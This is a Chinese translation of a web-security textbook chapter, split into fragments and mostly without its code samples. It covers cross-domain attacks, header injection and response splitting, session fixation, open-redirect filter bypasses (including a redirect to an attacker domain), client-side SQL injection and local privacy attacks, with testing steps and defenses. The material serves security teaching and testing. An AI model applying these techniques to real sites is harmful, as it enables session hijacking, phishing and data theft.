许多结构正确的HTML也是结构正确的XML，意味着它们可以由E4X进行处理。此外，许多HTML都在{…}块中包含提供敏感数据的脚本代码。例如： 在早期版本的Firefox中，攻击者可以对类似于上面的完整HTML响应执行跨域脚本包含，并在自己的域中执行一些嵌入式JavaScript代码。 此外，利用与之前所述的CSS注入攻击类似的技巧，攻击者有时可以在目标应用程序的HTML响应中的适当位置注入文本，在该响应中的敏感数据周围插入任意的{…}块。然后，攻击者可以跨域包含整个响应，将其作为脚本执行，以捕获其中包含的数据。 上述任何一种攻击都可以在当前版本的浏览器中实施。随着这个过程不断继续，浏览器对于最新语法结构的支持也进一步扩展，在新的浏览器功能推出之前，针对不易于受到上述攻击的应用程序，很可能会出现新型跨域数据捕获攻击。 5．防止JavaScript劫持 实施JavaScript劫持攻击必须满足几个前提条件。因此，要防止这种攻击，必须违反其中至少 一个前提条件。要获得深层保护，我们建议在防御攻击时同时采用多种防范措施。 至于执行敏感操作的请求，应用程序应使用标准的反CSRF防御来阻止跨域请求返回任何包含敏感数据的响应。 当应用程序从它自己的域中动态执行JavaScript代码时，并不仅限于使用<script>标签来包含脚本。因为请求为本站请求，客户端代码可以使用XMLHttpRequest检索原始响应并进行其他处理，然后再将其作为脚本执行。这意味着，应用程序可以在响应的开始部分插入无效或有问题的JavaScript，客户端应用程序在处理脚本前，将会删除这些内容。例如，以下脚本在使用脚本包含执行时将导致无限循环，但如果使用XMLHttpRequest访问，则可以在执行之前删除： 由于应用程序可以使用XMLHttpRequest检索动态脚本，因此它也可以使用POST请求完成这个任务。如果应用程序仅接受使用POST请求访问可能易受攻击的脚本代码，它就能够阻止第三方站点将它们包含在<script>标签内。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 13.3 同源策略深入讨论 在本章和前一章中，我们介绍了如何将同源策略应用于HTML和JavaScript的大量示例，以及利用应用程序漏洞和浏览器怪癖突破这种策略的各种方式。为进一步了解同源策略对于Web应用程序安全的重要性，我们将在这一节中介绍其他一些适用该策略的情形，以及这些情形如何会导致某些跨域攻击。 13.3.1 同源策略与浏览器扩展 各种广泛部署的浏览器扩展技术全都在域之间实施了某种隔离，这种隔离的实施方式与主要的浏览器同源策略所采用的基本原则相同。但是，每种实施方式的一些特点在某些情况下可能会导致跨域攻击。 1．同源策略与Flash Flash对象的来源由加载这些对象的URL所在的域决定，而不是由加载这些对象的HTML页面的URL决定。和浏览器中的同源策略一样，默认情况下，将基于协议、主机名和端口号实施隔离。 除与同一来源进行完全双向交互外，Flash对象还可以通过浏览器使用URLRequest API提出跨域请求。与纯粹的浏览器技术相比，以这种方式提出请求可以对请求实施更进一步的控制，如能够指定任意的Content-Type消息头及在POST请求主体中发送任意内容。将对这些请求应用浏览器cookie，但默认情况下，提出这些请求的Flash对象并不能读取对跨源请求做出的响应。 Flash提供了一种机制，各种域可通过这种机制向来自其他域的Flash对象授予权限，以便于这些对象与它们进行完全双向的交互。通常，授予权限的域会在URL /crossdomain.xml处发布一个策略文件，从而完成这一任务。当某个Flash对象尝试提出双向跨域请求时，Flash浏览器扩展 将检索所请求的域中的策略文件，并仅在所请求的域授权对提出请求的域的访问权限时，才允许上述请求。 由www.adobe.com发布的Flash策略文件如下所示："},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 渗透测试步骤 测试员应始终检查所测试的任何Web应用程序中的/crossdomain.xml文件。即使应用程序本身不使用Flash，但如果向另一个域授予权限，则由该域发布的Flash对象将可以与发布策略的域进行交互。 如果应用程序允许无限制访问（通过指定<allow-access-from domain=“*” />），则任何其他站点均可以执行双向交互，从而控制应用程序用户的会话。这样，其他域就可以检索全部数据，并执行任何用户操作。 如果应用程序可以访问同一组织使用的子域或其他域，则这些域当然可以与应用程序进行双向交互。这意味着，攻击者可以利用这些域上的XSS等漏洞来攻破授予权限的域。此外，如果攻击者能够在任何域上购买基于Flash的广告，就可以使用其部署的Flash对象来攻破授予权限的域。 一些策略文件会披露内联网主机名或其他可能对攻击者有用的敏感信息。 此外，需要注意的是，Flash对象可能会在应从中下载策略文件的目标服务器上指定一个URL。如果默认位置没有顶级策略文件，Flash浏览器会尝试从该指定的URL处下载策略文件。对此URL的响应必须包含格式有效的策略文件，并必须在Content-Type消息头中指定一种XML或基于文本的MIME类型，才能得到处理。当前，网络上的大多数域都没有在/crossdomain.xml位置发布Flash策略文件，这可能基于以下假设：在没有策略的情况下，默认行为是禁止任何跨域访问。但是，这一假设忽略了第三方Flash对象指定用于下载策略的定制URL的可能性。如果应用程序包含任何功能，可被攻击者用于在应用程序域上的URL中插入任意XML文件，则该应用程序可能就易于受到这种攻击。 2．同源策略与Silverlight 用于Silverlight的同源策略在很大程度上基于由Flash实施的策略。Silverlight对象的来源由加载这些对象的URL所在的域决定，而不是由加载这些对象的HTML页面的URL决定。 Silverlight与Flash的一个重要区别在于，Silverlight不会基于协议或端口隔离来源，因此通过 HTTP加载的对象可以与同一域上的HTTPS URL交互。 Silverlight使用自己的跨域策略文件，地址为/clientaccesspolicy.xml。由www.microsoft.com发布的Silverlight策略文件如下所示： 上面介绍的针对Flash跨域策略文件的注意事项同样适用于Silverlight，但是，Silverlight不允许对象为策略文件指定非标准的URL。 如果服务器上没有Silverlight策略文件，Silverlight浏览器扩展会尝试从默认位置加载有效的Flash策略文件。不过，如果存在策略文件，则扩展会处理该文件。 3．同源策略与Java Java在来源之间实施隔离，它实施隔离的方式在很大程度上基于浏览器的同源策略。和其他浏览器扩展一样，Java applet对象的来源由加载这些对象的URL所在的域决定，而不是由加载这些对象的HTML页面的URL决定。 Java同源策略的一个重要不同在于：某些情况下，与来源域共享IP地址的其他域将被视为“同源”。在某些共享主机的情况下，这可能会导致一定程度的跨域交互。 当前，Java并不限制一个域发布允许与其他域进行交互的策略。 13.3.2 同源策略与HTML5 按照最初的设计，XMLHttpRequest仅允许向与调用页面的来源相同的来源提出请求。随着HTML5的出现，这一技术已得以修改，从而可以与其他域进行双向交互，前提是被访问的域为交互提供权限。 跨域交互的权限通过一系列新的HTTP消息头来实现。如果某个脚本尝试使用XMLHttpRequest提出跨域请求，处理该请求的方式将因请求的具体内容而异。 对于“常规”请求，即可以使用现有的HTML结构跨域生成的请求，浏览器将提出请求，并检查生成的响应消息头，以确定是否应允许调用脚本访问该请求的响应。 其他无法使用现有的HTML生成的请求，如那些使用非标准HTTP方法或Content-Type、或添加了定制HTTP消息头的请求，将进行不同处理。浏览器会首先向目标URL提出一个OPTIONS请求，然后检查响应消息头，以确定是否应允许那些请求。 在上述两种情况下，浏览器都会添加一个Origin消息头，用于指示尝试提出跨域请求的域。 要确定可能执行双向交互的域，服务器的响应中应包含Access-Control-Allow-Origin消息头，其中包括以逗号分隔的允许的域列表和通配符： 在第二种情况下，如果已使用OPTIONS请求预先验证了跨域请求，则可以使用以下消息头来指示尝试提出的请求的具体内容： 为响应OPTIONS请求，服务器可以使用以下消息头来指定允许提出的跨域请求的类型："},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 渗透测试步骤 （1）要测试应用程序如何使用XMLHttpRequest处理跨域请求，测试员应尝试添加一个用于指定其他域的Origin消息头，并检查返回的任何Access-Control消息头。允许任何域或指定的其他域进行双向访问导致的安全隐患与上述Flash跨域策略导致的安全隐患相同。 （2）如果有任何跨域访问受到支持，则测试员还应使用OPTIONS请求来了解到底允许哪些消息头和其他请求。 除可能允许外部域进行双向交互外，XMLHttpRequest的新特性还可能导致利用Web应用程序的特定功能的新型攻击，或新型常规攻击。 如第12章所述，一些应用程序使用XMLHttpRequest向在URL参数中、或在片断标识符后指定的文件提出异步请求。检索到的文件动态加载到当前页面的<div>中。由于以前不可能使用XMLHttpRequest提出跨域请求，因此也没有必要验证所请求的项目是否在应用程序自身的域上。利用新版本的XMLHttpRequest，攻击者可以在其控制的域上指定一个URL，从而对应用程序用户实施客户端远程文件包含攻击。 更常见的是攻击者可以借助XMLHttpRequest的新特性，利用恶意或被攻破的网站，通过访问网站用户的浏览器来实施攻击，即使这时跨域访问已遭到禁止。跨域端口扫描表明，使用 XMLHttpRequest尝试向任意主机和端口提出请求，并观察响应的时间差异，可以推断所请求的端口是否已打开、关闭或被过滤。此外，与传统的生成跨域请求的方法相比，使用XMLHttpRequest可以更快速地实施分布式拒绝服务攻击。如果目标应用程序禁止跨域访问，则需要在URL参数中增加一个值，以确保每个请求针对不同的URL，因此实际上由浏览器提出。 13.3.3 通过代理服务应用程序跨域 一些公开发布的Web应用程序提供高效的代理服务功能，允许从不同域检索内容，但服务于代理Web应用程序中的用户。Google翻译（GT）就是一个典型的例子，它可以请求指定的外部URL并返回其内容，如图13-2所示。（虽然翻译引擎可能会修改检索到的响应中的文本，但基本的HTML标记和任何脚本代码仍保持不变。） 图13-2 Google翻译可请求外部URL，并返回其内容，响应中的文本将被翻译成指定的语言 如果两个不同的外部域均通过GT应用程序访问，这时可能会一个有趣的问题。这种情况下，在浏览器看来，来自每个外部域的内容将驻留在GT域中，因为这是浏览器从中检索内容的域。虽然两组内容均驻留在同一个域中，它们之间可以进行双向交互（如果这种交互也通过GT域实施的话）。 当然，如果用户登录某个外部应用程序，然后通过GT访问该应用程序，则该用户的浏览器会正确地将GT视为其他域。因此，用户用于外部应用程序的cookie将不会通过GT在请求中发送， 并且也不可能进行任何其他交互。同样，恶意网站也无法利用GT轻松攻破其他应用程序上的用户会话。 但是，网站可以利用GT等代理服务行为与位于其他域上的应用程序的公开、未授权的区域进行双向交互。Jikto就是这样的一种攻击。Jikto是一个概念验证蠕虫，通过在Web应用程序中查找并利用永久性XSS漏洞，从而在应用程序之间进行传播。Jikto代码的基本运行机制如下。 初次运行时，该脚本会检查其是否在GT域中运行。如果不是，它会通过GT域加载当前URL，从而将自己传送到GT域中。 该脚本通过GT请求外部域中的内容。由于该脚本自身在GT域中运行，它可以通过GT与任何其他域上的公开内容进行双向交互。 该脚本以JavaScript实现一个基本的Web扫描程序，在外部域中探查永久性XSS漏洞。公告牌等可以公开访问的功能中可能存在这类漏洞。 确定适当的漏洞后，该脚本将利用此漏洞将它的一个副本加载到外部域中。 其他用户访问被攻破的外部域时，该脚本开始执行，并且这个过程会不断自动重复。 Jikto蠕虫会设法利用XSS漏洞来传播自己。但是，这种通过代理服务合并域的基本攻击技巧并不取决于所针对的单个外部应用程序中的任何漏洞，也无法进行有效防御。此外，它还是一种有用的攻击技巧。测试员也可以通过它来了解如何在非常规情况下应用同源策略。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 13.4 其他客户端注入攻击 到现在为止，我们介绍的许多攻击主要与利用某种应用程序功能向应用程序响应中注入专门设计的内容有关。这其中最主要的攻击为XSS攻击。我们还介绍了通过注入的HTML和CSS代码跨域捕获数据的技巧。在这一节中，我们将介绍其他一些客户端注入攻击。 13.4.1 HTTP消息头注入 如果用户控制的数据以不安全的方式插入到应用程序返回的HTTP消息头中，这时就会出现HTTP消息头注入漏洞。如果攻击者能够在他控制的消息头中注入换行符，他就能在响应中插入其他HTTP消息头、并在响应主体中写入任意内容。 这种漏洞最常见于Location与Set-Cookie消息头中，但也会出现在其他HTTP消息头中。前文已经讲到，应用程序提取用户提交的输入，并将它插入到响应码为3xx的Location消息头中。同样，一些应用程序提取用户提交的输入，并将其插入cookie值中。例如： 在上述任何一种情况下，攻击者都可以使用回车符（0x0d）或换行符（0x0a）构造一个专门 设计的请求，在他们控制的消息头中注入一个换行符，从而在下面的行中注入其他数据。例如： 1．利用消息头注入漏洞 查找消息头注入漏洞的方法与查找XSS漏洞的方法类似，同样需要寻找用户控制的输入重复出现在应用程序返回的HTTP消息头中的情况。因此，在探查应用程序是否存在XSS漏洞的过程中，还应当确定应用程序可能易于受到消息头注入的全部位置。 黑客攻防技术宝典：Web实战篇（第2版） 渗透测试步骤 （1）在用户控制的输入被复制到HTTP消息头中的每个位置都可能存在漏洞，确认应用程序是否接受URL编码的回车符（%0d）与换行符（%0a），以及它们是否按原样在响应中返回。 （2）注意，是在服务器的响应中而不是换行符的URL编码形式中寻找换行符本身。如果通过拦截代理服务器查看响应，攻击成功的话，应该会在HTTP消息头中看到另外一个新行。 （3）如果服务器的响应中仅返回两个换行符中的一个，根据实际情况，仍然能够设计出有效的攻击方法。 （4）如果发现换行符被应用程序阻止或净化，那么应该尝试以下攻击方法： 警告 有时，由于过分依赖HTML源代码或浏览器插件提供的信息（其中并不显示响应消息头），上述问题可能会被忽略。因此，应确保使用拦截代理服务器工具读取HTTP响应消息头。 如果能够在响应中注入任意消息头和消息主体内容，那么这种行为可通过各种方式攻击应用程序的其他用户。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 尝试访问 http://mdsec.net/settings/12/ http://mdsec.net/settings/31/ 注入cookie 攻击者可以建立一个URL，在请求它的任何用户的浏览器中设定任意cooike。"},
    {"text": "传送其他攻击 因为HTTP消息头注入允许攻击者控制整个响应主体，所以几乎任何针对其他用户的攻击都可以使用它作为传送机制，包括虚拟Web站点置换、脚本注入、任意重定向、针对ActiveX控件的攻击等。"},
    {"text": "HTTP响应分割 这是一种试图通过恶意内容“毒害”代理服务器缓存，从而攻破通过代理服务器访问应用程序的其他用户的攻击技巧。 例如，如果企业网络中的所有用户通过缓存代理服务器访问某个应用程序，那么，通过在代理服务器的缓存中注入恶意内容（显示给任何请求受影响页面的用户），攻击者就可以向这些用户实施攻击。 攻击者可以按以下步骤，利用消息头注入漏洞来实施响应分割攻击： （1）攻击者在代理服务器缓存中选择一个他希望“毒害”的应用程序页面。"},
    {"text": "（6）代理服务器收到这两个看似单独的响应，并认为其中第二个响应与攻击者的第二个请求相对应，该请求指向URL：http://mdsec.net/admin/。"},
    {"text": "（如果代理服务器已经在缓存中保存有该页面的副本，那么攻击者就可以在他的第二个请求中插入一个适当的If-Modified-Since消息头，并在注入的响应中插入一个Last-Modified消息头，使得代理服务器重新请求这个URL，用新的内容更新它的缓存。"},
    {"text": "图13-3 用于毒害代理服务器缓存的HTTP响应分割攻击涉及的步骤 2．防止消息头注入漏洞 要防止HTTP消息头注入漏洞，最有效方法是杜绝将用户控制的输入插入到应用程序返回的HTTP消息头中。"},
    {"text": "只有应用程序在其SSL终止符后未使用缓存反向代理服务器，它才能通过对所有应用程序内容使用HTTPS，防止攻击者利用任何残留的消息头注入漏洞“毒害”代理服务器缓存。"},
    {"text": "13.4.2 cookie注入 在cookie攻击中，攻击者利用应用程序功能或浏览器行为的某种特性，在受害用户的浏览器中设置cookie，或修改该cookie。 攻击者可以通过各种方式实施cookie注入攻击。"},
    {"text": "如果攻击者可以设置任意cookie，他就可以利用该cookie以各种方式攻击目标用户： 在某些应用程序中，设置一个特殊的cookie可能会破坏应用程序的逻辑，给用户造成不利影响（例如，UseHttps=false）。"},
    {"text": "如本章前面部分所述，攻击者可以利用某个永久性XSS漏洞，通过针对登录功能的CSRF攻击使用户登录攻击者的账户，并因此访问XSS有效载荷。"},
    {"text": "但是，如果攻击者能够在用户的浏览器中设置任意cookie，他就可以直接向用户传送自己的会话令牌，从而成功实施攻击，而不必实施针对登录功能的CSRF攻击。"},
    {"text": "在标准的会话劫持攻击中，攻击者必须使用某种方法截获一名应用程序用户的会话令牌。 另一方面，在会话固定攻击中，攻击者首先从应用程序中直接获得一个匿名令牌，然后使用某种方法将这个令牌“固定”在受害者的浏览器中。 用户登录后，攻击者就可以使用该令牌劫持这名用户的会话。"},
    {"text": "图13-4 实施会话固定攻击所需的步骤 当然，在这个攻击中，最关键的阶段应该是攻击者向受害者传送他获得的会话令牌，并令受害者的浏览器使用这个令牌。"},
    {"text": "如果在URL参数中传送会话令牌，则攻击者只需向受害者传递应用程序向其发布的同一URL： 一些应用程序服务器接受在URL中使用它们以分号分隔的会话令牌。 一些应用程序默认这样做，而其他应用程序则直接以这种方式使用令牌，即使这并非服务器的默认行为： 如果应用程序使用HTML表单中的隐藏字段来传送会话令牌，攻击者可以利用CSRF攻击在用户的浏览器中插入他的令牌。"},
    {"text": "例如，某应用程序可能允许匿名用户浏览产品目录、在购物篮中添加商品、通过提交个人数据与支付细节进行结算，然后在“确认订单”页面上审核这些信息。"},
    {"text": "在这种情况下，攻击者就可以将一个匿名会话令牌固定到受害者的浏览器中，等待该用户提交订单并输入敏感信息，然后使用该令牌访问“确认订单”页面，截获该用户的信息。"},
    {"text": "如果一个应用程序或服务器以这种方式运作，它就非常容易受到会话固定攻击，因为攻击者根本不必采取任何措施确保固定在目标用户的浏览器中的令牌当前有效。"},
    {"text": "攻击者只需选择任意一个令牌，将其尽可能广地进行分发（例如，通过电子邮件向个体用户、邮件列表等发送一个包含该令牌的URL），然后定期访问应用程序中的某个受保护页面（如“用户资料”），检查受害者何时使用这个令牌登录。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 渗透测试步骤 （1）通过任何可行的办法获得一个有效令牌。 （2）访问登录表单并使用这个令牌登录。 （3）如果登录成功，而且应用程序并不发布新令牌，则表示它易于受到会话固定攻击。 如果一个应用程序并不支持验证，但允许用户提交并审查敏感信息，那么应该确认用户在提交敏感信息前后是否使用相同的会话令牌。如果令牌没有发生变化，则攻击者就可以获得令牌，并将其传送给目标用户。用户提交敏感信息后，攻击者就可以使用该令牌查看这名用户的信息。 黑客攻防技术宝典：Web实战篇（第2版） 渗透测试步骤 （1）以完全匿名的用户身份获得一个会话令牌，然后完成提交敏感数据的过程，接下来继续浏览，直到任何显示敏感数据的页面。 （2）如果最初获得的同一个令牌现在可用于获取敏感数据，应用程序就易于受到会话固定攻击。 （3）如果已经发现任何会话固定漏洞，则应确定应用程序是否接受它之前并未发布的任何令牌。如果接受，那么在很长一段时间内攻击者都可以非常轻松地利用这个漏洞。 防止会话固定漏洞 任何时候，只要一名用户与应用程序的交互状态由匿名转变为确认，应用程序就应该发布新的会话令牌。这不仅适用于用户成功登录的情况，而且适用于匿名用户首次提交个人或其他敏感信息时。 为进一步防止会话固定攻击，一些安全性至关重要的应用程序采用每页面令牌来强化主会话令牌，以提供深层防御。这种技巧可以击退大多数会话劫持攻击，请参阅第7章了解详情。 应用程序不得接受它认为不是自己发布的任意会话令牌。应立即在浏览器中取消该令牌，并将用户返回到应用程序的起始页面。 13.4.3 开放式重定向漏洞 如果应用程序提取用户可控制的输入，并使用这个数据执行重定向，指示用户的浏览器访问不同于用户所请求的URL，这时就会导致开放重定向漏洞。相比于可执行大量恶意操作的跨站点脚本漏洞，攻击者通常对这些漏洞不太感兴趣。攻击者主要利用开放式重定向漏洞实施钓鱼攻击，诱使受害者访问欺骗性Web站点并输入敏感信息。对潜在的受害者而言，重定向漏洞提高了攻击者的可信度，因为它允许攻击者创建一个指向他所针对的可信Web站点的URL，因此更具有说服力，但任何访问这个URL的用户将被悄悄重定向到攻击者控制的Web站点。 也就是说，现实世界中的大多数钓鱼攻击都使用其他技巧来获得不受所针对的应用程序控制的可信度。这类技巧包括注册类似的域名、使用官方形式的子域，以及在HTML电子邮件中在定 位文本与链接的目标URL之间造成不匹配。研究表明，多数用户都无法或不太可能基于URL结构作出安全决策。因此，典型的开放式重定向漏洞对钓鱼攻击者而言并无多大价值。 近年来，开放式重定向漏洞一直被攻击者以相对良性的方式加以利用，用于实施“瑞克摇摆”（rickrolling）攻击。在这种攻击中，受害者在不知情的情况下被重定向到英国流行乐传奇人物里克·阿斯特利的视频，如图13-5所示。 图13-5 “瑞克摇摆”攻击的结果 1．查找并利用开放式重定向漏洞 查找重定向漏洞的第一步是确定应用程序中的所有重定向。应用程序可以通过几种方式使用户的浏览器重定向到不同的URL。 HTTP重定向使用一条状态码为3xx的消息与一个指定重定向目标的Location消息头。例如： HTTP Refresh消息头可在固定时间间隔后使用任意URL重新加载某个页面，该间隔可以为零（0），也就是能立即触发重定向。例如： HTML<meta>标签可复制任何HTTP消息头的行为，因此可用于建立重定向。例如： JavaScript中的各种API可用于将浏览器重定向到任意URL。例如： 以上这些方法可用于指定绝对或相对URL。 黑客攻防技术宝典：Web实战篇（第2版） 渗透测试步骤 （1）确定应用程序中使用重定向的所有位置。 （2）要确定所有重定向，一个有效的方法，是使用拦截代理服务器浏览应用程序，并监控访问页面的请求（与其他资源，如图像、样式表、脚本文件等不同）。 （3）如果一个导航操作导致了几个连续请求，应分析它使用什么方法进行重定向。 绝大多数的重定向都不受用户控制。例如，在典型的登录机制中，向/login.jsp提交有效的证书将返回一个指向/myhome.jsp的HTTP重定向。这时，重定向的目标始终相同，因此不会受到任何重定向漏洞的影响。 但是，在有些情况下，用户提交的数据以某种方式用于设置重定向的目标。一个常见的例子是，应用程序强制使会话已经终止的用户返回登录页面，然后在用户重新成功通过验证后将他们重定向到最初的URL。如果遇到这种行为，就表明应用程序可能易于受到重定向攻击，因此，应当对这种行为进行深入分析，以确定它是否可被攻击者利用。 黑客攻防技术宝典：Web实战篇（第2版） 渗透测试步骤 （1）如果用户数据在包含绝对URL的重定向中进行处理，则应修改URL中的域名，并测试应用程序是否将用户重定向到另一个域。 （2）如果所处理的用户数据包含相对URL，应将此URL修改为指向另一个域的绝对URL，并测试应用程序是否将用户重定向到这个域。 （3）无论是哪一种情况，如果见到以下行为，那么应用程序肯定容易受到重定向攻击："},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 尝试访问 http://mdsec.net/updates/8/ http://mdsec.net/updates/14/ http://mdsec.net/updates/18/ http://mdsec.net/updates/23/ http://mdsec.net/updates/48/ 注解 如果应用程序使用可由用户控制的数据指定框架的目标URL，这时会发生一种与重定向并非完全相同但相似现象。如果可以构建一个URL，将外部URL的内容加载到子框架中，就可以相当隐秘地实施重定向攻击。这时，可以使用其他内容仅替换应用程序的部分界面，并使浏览器地址栏中的域保持不变。 以下情况很常见：用户控制的数据用于设置重定向的目标，但却被应用程序以某种方式过滤或净化掉，以阻止重定向攻击。这时并没有办法确定应用程序是否易于受到攻击；因此，接下来应该探查应用程序采用的防御机制，确定是否能够避开它们以执行任意重定向。通常会遇到以下两种防御：尝试阻止绝对URL、附加一个特殊的绝对URL前缀。 阻止绝对URL 应用程序可能会检查用户提交的字符串是否以http://开头，如果是，就阻止该请求。这时，使用下面的技巧可以成功创建一个指向外部Web站点的重定向（请注意第三行开头的空格）： 另外，应用程序可能会删除http://及任何指定的外部域，尝试净化绝对URL。这时，使用上 面的技巧可以成功避开净化；同时还应测试下面的攻击是否可行： 有时，应用程序可能会检验用户提交的字符串是否以指向它自己的域名的绝对URL开头，或是否包含这个URL。这时，下面的攻击可能有效： 黑客攻防技术宝典：Web实战篇（第2版） 尝试访问 http://mdsec.net/updates/52/ http://mdsec.net/updates/57/ http://mdsec.net/updates/59/ http://mdsec.net/updates/66/ http://mdsec.net/updates/69/ 附加绝对前缀 应用程序可能会在用户提交的字符串前附加一个绝对URL前缀，从而建立重定向的目标。 这时，我们无法确定应用程序是否易于受到攻击。如果所使用的前缀由http://与应用程序的域名组成，但在域名后没有斜线字符，那么它就易于受到攻击。例如，下面的URL http://mdsec.net/updates/72/?redir=.mdattacker.net 会重定向到 http://mdsec.net.mdattacker.net 它由攻击者控制，前提是攻击者控制着域mdattacker.net的DNS记录。 然而，如果绝对URL前缀确实包含斜线字符（/）或服务器上的某个子目录，那么应用程序可能不会受到针对外部域的重定向攻击。这时，攻击者最多只能构建一个URL，将用户重定向到同一应用程序中的另一个URL。通常，这种攻击并不能取得任何成果，因为如果攻击者能够诱使用户访问应用程序中的一个URL，那么他大概也只能向他们直接传送另一个URL。 黑客攻防技术宝典：Web实战篇（第2版） 尝试访问 http://mdsec.net/updates/72/ 如果使用从DOM中查询数据的客户端JavaScript实现重定向，则负责执行重定向与相关确认的所有代码通常将在客户端上可见。因此，应仔细检查这些代码，确定它如何将用户控制的数据 合并到URL中，以及它是否执行了任何确认，如果是，是否有什么办法可以避开确认。注意，和基于DOM的XSS漏洞一样，在将脚本返回浏览器之前，服务器可能对其执行了其他确认。下面的JavaScript API可用于执行重定向： document.location document.URL document.open（） window.location.href window.navigate（） window.open（）"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 尝试访问 http://mdsec.net/updates/76/ http://mdsec.net/updates/79/ http://mdsec.net/updates/82/ http://mdsec.net/updates/91/ http://mdsec.net/updates/92/ http://mdsec.net/updates/95/ 2．防止开放式重定向漏洞 绝不将用户提交的数据合并到重定向目标中，是避免开放式重定向漏洞的最有效方法。"},
    {"text": "应用程序应该在所有重定向中使用相对于Web根目录的URL，在发布重定向之前，重定向页面应在所有用户提交的URL前附加http:// yourdomainname .com。 如果用户提交的URL并不以斜线字符开头，应在它的前面附加http:// yourdomainname .com/。 应用程序应对所有重定向使用绝对URL，重定向页面在发布重定向之前，应确认用户提交的URL以http:// yourdomainname .com/开头。"},
    {"text": "这些数据库使用JavaScript访问，如以下示例所示： 应用程序可以使用此功能将常用数据存储到客户端，然后在需要时将这些数据快速检索到用户界面中。"},
    {"text": "它还允许应用程序以“离线模式”运行，在这种模式下，所有由应用程序处理的数据将驻留在客户端，用户操作也存储在客户端，以便在网络连接可用时与服务器进行同步。"},
    {"text": "在这些情况下，攻击者可以将专门设计的输入包含在受其控制的一组数据中（应用程序在本地存储这些数据），从而实施客户端SQL注入攻击。 例如，通过发送一封电子邮件，并在主题行中包含SQL注入攻击代码（如果这些数据嵌入在客户端SQL查询中），就可以攻破收件人用户的本地数据库。"},
    {"text": "仅仅使用SQL注入，攻击者就可以从数据库中检索用户已收到的其他邮件的内容，将这些数据复制到发送给攻击者的待发电子邮件，然后将该电子邮件添加到已排队的待发邮件表中。"},
    {"text": "传递给应用程序的start参数的值为： 如果应用程序接受这个无效值并仍然显示收件箱，同时不加修改地回显该值，用于回复第12封邮件的链接将变为： 现在，此链接包含两个操作参数——一个指定delete，一个指定reply。"},
    {"text": "请注意，在本示例中，用于执行操作的链接包含一个rnd参数，它实际上是一个反CSRF令牌，以防止攻击者通过标准的CSRF攻击轻松诱发这些操作。"},
    {"text": "根据这些操作的实施方式，攻击者就可以在链接中注入若干所需的参数，甚至利用本站重定向功能，以诱使用户执行正常情况下受反CSRF防御保护的复杂操作。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 13.5 本地隐私攻击 许多用户从共享的环境中访问Web应用程序，这时，攻击者可直接访问用户访问的同一台计算机。在这种情况下，如果应用程序存在漏洞，它们的用户就易于受到一系列攻击。这类攻击主要针对以下领域。 注解 应用程序可能会采用各种机制在用户的计算机上存储敏感信息。许多时候，为测试应用程序是否采用了某种存储机制，最好是使用完全“干净”的浏览器，以便于接受测试的应用程序存储的数据不会丢失在已存储的现有数据中。要做到这一点，最理想的方法，是使用包含全新安装的操作系统和任何浏览器的虚拟机。 此外，在某些操作系统上，在使用文件系统内置的管理器时，包含本地存储数据的文件和文件夹在默认情况下可能处于隐藏状态。为确保标识所有相关数据，应将计算机配置为显示所有隐藏文件和操作系统文件。 13.5.1 持久性cookie 一些应用程序将敏感数据保存在持久性cookie中，大多数浏览器将该cookie存放在本地文件系统上。 黑客攻防技术宝典：Web实战篇（第2版） 渗透测试步骤 （1）检查应用程序解析过程中（请参阅第4章了解相关内容）确定的所有cookie。如果发现有任何Set-cookie指令包含将来日期的expires属性，那么浏览器会将相关cookie保存到这个日期。例如： （2）如果某个持久性cookie中包含任何敏感数据，本地攻击者就能够截获这些数据。即使持久性cookie中包含的是加密值，但如果这个值发挥着非常关键的作用（如不需用户输入证书即可重新验证其身份），则截获这个值的攻击者根本不用破译它的内容，就可以将它重新提交给应用程序（请参阅第6章了解相关内容）。 黑客攻防技术宝典：Web实战篇（第2版） 尝试访问 http://mdsec.net/auth/227/ 13.5.2 缓存Web内容 大多数浏览器将非SSL Web内容保存在缓存中，除非Web站点特别指示不要这样做。缓存数据一般保存在本地文件系统中。 黑客攻防技术宝典：Web实战篇（第2版） 渗透测试步骤 （1）对于任何通过HTTP访问和包含敏感数据的应用程序页面，应检查服务器响应的内容， 确定所有缓存指令。 （2）下面的指令可阻止浏览器缓存某个页面。注意，这些指令可以在HTTP响应消息头或HTML元标签中指定。 （3）如果未发现这些指令，相关页面很可能会被一个或几个浏览器缓存。注意，每个页面都会执行缓存指令，因此必须检查每一个基于HTTP的敏感页面。 （4）为确保缓存敏感信息，应使用一个默认安装的标准浏览器，如Internet Explorer或Firefox。在浏览器的配置中，完全清除它的缓存和全部cookie，然后访问包含敏感数据的应用程序页面。检查出现在缓存中的文件，看其中是否包含敏感数据。如果有大量文件生成，可以从页面的源代码中提取一个特殊的字符串，并在缓存中搜索该字符串。 常用浏览器的默认缓存位置如下。 Internet Explorer——C:\\Documents and Settings\\用户名\\Local Settings\\Temporary Internet Files\\Content.IE5的子目录。 注意，在Windows Explorer中，要查看这个文件夹，必须输入准确的路径并显示隐藏的文件夹，或通过命令行浏览至这个文件夹。 Firefox（Windows中）——C:\\Documents and Settings\\用户名\\Local Settings\\Application Data\\Mozilla\\Firefox\\Profiles\\配置文件名\\Cache。 Firefox（Linux中）——~/.mozilla/firefox/配置文件名/Cache。 黑客攻防技术宝典：Web实战篇（第2版） 尝试访问 http://mdsec.net/auth/249/ 13.5.3 浏览历史记录 许多浏览器都保存有浏览历史记录，其中可能包含通过URL参数传送的任何敏感数据。 黑客攻防技术宝典：Web实战篇（第2版） 渗透测试步骤 （1）确定应用程序中通过URL参数传送敏感数据的任何情况。 （2）如果存在这样的情况，应检查浏览器的历史记录，证实这些数据已经保存在那里。 黑客攻防技术宝典：Web实战篇（第2版） 尝试访问 http://mdsec.net/auth/90/ 13.5.4 自动完成 许多浏览器对基于文本的输入字段执行一项可由用户配置的自动完成功能，这些字段可保存诸如信用卡号码、用户名与密码之类的敏感数据。Internet Explorer与Firefox分别将自动完成数据保存在注册表与文件系统中。 如前所述，除可被本地攻击者访问外，在某些情况下，保存在自动完成缓存中的数据也可通过XSS攻击获取。 